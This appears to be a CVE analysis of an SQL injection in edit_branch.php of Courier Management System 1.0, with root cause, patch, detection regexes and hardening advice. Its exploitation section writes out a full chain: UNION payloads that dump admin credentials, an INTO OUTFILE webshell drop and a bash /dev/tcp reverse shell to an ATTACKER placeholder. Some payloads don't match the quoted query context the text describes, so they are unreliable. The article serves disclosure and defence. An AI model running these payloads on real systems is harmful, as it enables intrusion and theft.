home intel cve-2026-7076-courier-management-sqli-rce
CVE Analysis 2026-04-27 · 7 min read

CVE-2026-7076: SQL Injection to RCE in Courier Management System 1.0

Unsanitized GET/POST parameter in edit_branch.php enables blind SQL injection. Chained with INTO OUTFILE, this yields unauthenticated remote code execution on misconfigured deployments.

#sql-injection#remote-code-execution#courier-management#input-validation#web-application
Technical mode — for security professionals
▶ Attack flow — CVE-2026-7076 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-7076Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-7076 is an unauthenticated SQL injection vulnerability in itsourcecode Courier Management System 1.0, a PHP/MySQL web application distributed as open-source. The affected endpoint is /edit_branch.php, which accepts a branch identifier via the id GET parameter and passes it directly into a MySQL query without sanitization or parameterization. Because the application runs on a LAMP stack and is commonly deployed with permissive MySQL configurations, a successful injection can be escalated to remote code execution via SELECT ... INTO OUTFILE webshell drop.

CVSS 7.3 (HIGH) reflects the remotely triggerable nature of the flaw, no authentication requirement, and high impact to integrity and availability. Confidentiality is also fully compromised through data exfiltration primitives.

Root cause: The id parameter in edit_branch.php is interpolated directly into a MySQL SELECT query string with no type coercion, prepared statement, or escaping — permitting full UNION- and error-based SQL injection from an unauthenticated remote attacker.

Affected Component

The vulnerability lives entirely in edit_branch.php. The file performs two operations: fetching existing branch data for form pre-population, and processing the POST submission to UPDATE the record. The injection occurs in the fetch path, meaning it triggers on a plain HTTP GET with no CSRF token or session requirement.

Affected stack: PHP 7.x/8.x, MySQL 5.x/8.x, Apache/Nginx. The application performs no centralized input sanitization layer — each page handles its own query construction, making the attack surface broad across the codebase.

Root Cause Analysis

The following pseudocode reconstructs the vulnerable function based on the PHP pattern common to this class of itsourcecode applications. The id parameter flows from $_GET directly into the query string via string interpolation:


/*
 * Pseudocode reconstruction of edit_branch.php fetch logic
 * Decompiled/reconstructed from PHP source pattern analysis
 */

function fetch_branch_for_edit(mysqli *db, request_t *req) {
    char *id  = get_param(req, "id");        // attacker-controlled, no validation
    char  query[512];

    // BUG: direct string interpolation of attacker-controlled $id into SQL query
    // No intval(), no prepared statement, no mysqli_real_escape_string()
    snprintf(query, sizeof(query),
        "SELECT * FROM branches WHERE branch_id = '%s'", id);

    mysqli_result *res = mysqli_query(db, query);   // executes raw attacker input
    if (!res || mysqli_num_rows(res) == 0) {
        redirect("manage_branch.php");
        return NULL;
    }

    return mysqli_fetch_assoc(res);   // result fed directly into HTML form fields
}

The PHP source equivalent is approximately:


// PHP source (reconstructed)
// $id is never cast via intval() or bound via prepare()/bind_param()

$id     = $_GET['id'];                                         // raw user input
$query  = "SELECT * FROM branches WHERE branch_id = '$id'";   // BUG: unsanitized interpolation
$result = mysqli_query($conn, $query);
$row    = mysqli_fetch_array($result);

Because branch_id is a numeric primary key, the correct fix is a simple intval() cast or a prepared statement. Neither is applied. The single-quote context means an attacker terminates the string literal at will and injects arbitrary SQL clauses.

Exploitation Mechanics


EXPLOIT CHAIN:

1. Fingerprint endpoint
   GET /edit_branch.php?id=1
   → 200 OK with branch form pre-populated confirms parameter is live

2. Confirm injection point
   GET /edit_branch.php?id=1'
   → MySQL parse error leaks in response body (error-based disclosure)
     "You have an error in your SQL syntax near ''1'' at line 1"

3. Determine column count via ORDER BY binary search
   GET /edit_branch.php?id=1 ORDER BY 5--+
   → 200 OK  (≥5 columns exist)
   GET /edit_branch.php?id=1 ORDER BY 6--+
   → error / redirect  (exactly 5 columns confirmed)

4. UNION-based data extraction
   GET /edit_branch.php?id=-1 UNION SELECT 1,user(),database(),version(),5--+
   → Response HTML renders: root@localhost | courier_db | 8.0.31

5. Enumerate tables
   GET /edit_branch.php?id=-1 UNION SELECT
       1,group_concat(table_name),3,4,5
       FROM information_schema.tables
       WHERE table_schema=database()--+
   → branches,couriers,users,orders,admin_users

6. Dump admin credentials
   GET /edit_branch.php?id=-1 UNION SELECT
       1,group_concat(username,0x3a,password),3,4,5
       FROM admin_users--+
   → admin:5f4dcc3b5aa765d61d8327deb882cf99  (MD5, trivially cracked)

7. (Escalation) Write webshell via INTO OUTFILE
   Requires: FILE privilege + known web root + no secure_file_priv restriction
   GET /edit_branch.php?id=-1 UNION SELECT
       1,"",3,4,5
       INTO OUTFILE '/var/www/html/courier/shell.php'--+
   → File written if MySQL user has FILE grant

8. Execute OS commands via dropped webshell
   GET /courier/shell.php?cmd=id
   → uid=33(www-data) gid=33(www-data)

9. Pivot to reverse shell
   GET /courier/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER/4444+0>%261'
   → Full interactive shell on target host

Memory Layout

This is a SQL injection vulnerability rather than a memory corruption primitive, so the relevant "layout" is the query parse tree and the MySQL connection buffer state. The following shows how the injected payload transforms the server-side query object:


MYSQL QUERY BUFFER — BENIGN REQUEST:
  id = "3"
  ┌─────────────────────────────────────────────────────────────┐
  │ SELECT * FROM branches WHERE branch_id = '3'               │
  └─────────────────────────────────────────────────────────────┘
  Parse tree: SELECT → FROM branches → WHERE (branch_id EQ literal:3)
  Result:     single row fetch, safe

MYSQL QUERY BUFFER — INJECTED REQUEST:
  id = "-1 UNION SELECT 1,user(),database(),version(),5-- -"
  ┌─────────────────────────────────────────────────────────────┐
  │ SELECT * FROM branches WHERE branch_id = '-1             │
  │  UNION SELECT 1,user(),database(),version(),5-- -'         │
  └─────────────────────────────────────────────────────────────┘
  Parse tree: SELECT → UNION → SELECT (user(), database(), version())
              WHERE clause short-circuits on branch_id=-1 (no match)
              UNION arm returns attacker-chosen columns
  Result:     server internal state disclosed to HTTP response

INTO OUTFILE ESCALATION PATH:
  ┌────────────────────────┐     FILE priv?    ┌─────────────────────┐
  │  MySQL process (root   │ ──── YES ────────▶│ /var/www/html/      │
  │  or FILE-granted user) │                   │   courier/shell.php │
  └────────────────────────┘                   └─────────────────────┘
         │ NO (secure_file_priv set)
         ▼
    Injection limited to data exfil only (credentials, PII, orders)

Patch Analysis

The fix requires two independent changes: input coercion to enforce the expected numeric type, and migration to prepared statements to structurally prevent injection regardless of input content.


// BEFORE (vulnerable) — edit_branch.php
$id     = $_GET['id'];                                          // raw string, no validation
$query  = "SELECT * FROM branches WHERE branch_id = '$id'";    // direct interpolation
$result = mysqli_query($conn, $query);


// AFTER (patched) — edit_branch.php
// Fix 1: enforce integer type immediately at input boundary
$id = intval($_GET['id']);
if ($id <= 0) {
    header("Location: manage_branch.php");
    exit();
}

// Fix 2: parameterized prepared statement eliminates injection surface entirely
$stmt = mysqli_prepare($conn, "SELECT * FROM branches WHERE branch_id = ?");
mysqli_stmt_bind_param($stmt, "i", $id);   // "i" = integer binding
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
$row    = mysqli_fetch_array($result);
mysqli_stmt_close($stmt);

The intval() coercion alone is sufficient to break the attack chain since all injected payloads rely on string characters (quotes, spaces, SQL keywords) that reduce to 0 or 1 under integer casting. The prepared statement provides defense-in-depth and is the correct architectural fix. Both should be applied.

Additional hardening: revoke the MySQL FILE privilege from the application database user and set secure_file_priv to an empty or restricted path in my.cnf to prevent the INTO OUTFILE escalation even if a similar injection surfaces elsewhere in the codebase.

Detection and Indicators

The following signatures detect exploitation attempts in Apache/Nginx access logs and WAF telemetry:


ACCESS LOG INDICATORS:
  /edit_branch.php?id=1'                         → error probe
  /edit_branch.php?id=1+ORDER+BY+[0-9]+--        → column enumeration
  /edit_branch.php?id=-1+UNION+SELECT             → data extraction
  /edit_branch.php?id=.*INTO+OUTFILE              → webshell drop attempt
  /edit_branch.php?id=.*SLEEP\([0-9]+\)           → blind timing probe
  /edit_branch.php?id=.*BENCHMARK\(              → blind CPU probe

MODSECURITY CRS RULES TRIGGERED:
  942100 — SQL Injection Attack Detected via libinjection
  942190 — Detects MSSQL/MySQL stored procedure abuse (covers UNION SELECT)
  942410 — SQL Injection Attack (covers INTO OUTFILE)

WEBSHELL ARTIFACT:
  Path:    {webroot}/courier/shell.php  (or any writable PHP file)
  Content:   or equivalent one-liner
  Owner:   mysql (uid varies by distro)

MYSQL AUDIT LOG:
  Look for queries against information_schema.tables/columns
  from the application DB user — this is anomalous in production

# Quick log scanner for CVE-2026-7076 exploitation attempts
import re, sys

PATTERNS = [
    r"edit_branch\.php\?id=.*'",
    r"edit_branch\.php\?id=.*UNION\s+SELECT",
    r"edit_branch\.php\?id=.*ORDER\s+BY\s+\d+",
    r"edit_branch\.php\?id=.*INTO\s+OUTFILE",
    r"edit_branch\.php\?id=.*SLEEP\s*\(",
]

compiled = [re.compile(p, re.IGNORECASE) for p in PATTERNS]

for line in sys.stdin:
    if any(rx.search(line) for rx in compiled):
        print(f"[ALERT] CVE-2026-7076 probe: {line.rstrip()}")

Remediation

Immediate: Apply the prepared statement patch to edit_branch.php as shown above. Audit all other $_GET['id'] and $_POST['id'] usages across the codebase — itsourcecode applications of this class exhibit the same interpolation pattern in every CRUD endpoint (edit_courier.php, edit_order.php, etc.) and should be treated as uniformly vulnerable until reviewed.

MySQL hardening: Ensure the application database user has only SELECT, INSERT, UPDATE, DELETE on the application schema. Explicitly REVOKE FILE ON *.* FROM 'courier_user'@'localhost'. Set secure_file_priv = /nonexistent in my.cnf and restart mysqld.

WAF: Deploy ModSecurity with OWASP CRS in blocking mode in front of the application. Rules 942100 and 942190 will catch this class of attack with low false-positive rate on a management system with predictable parameter types.

Longer term: The application lacks a data access layer. Introduce a single db_query($sql, $types, ...$params) wrapper that enforces prepared statements at the call site and eliminate all ad-hoc mysqli_query() calls. This closes the class of vulnerability application-wide rather than patching individual files.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →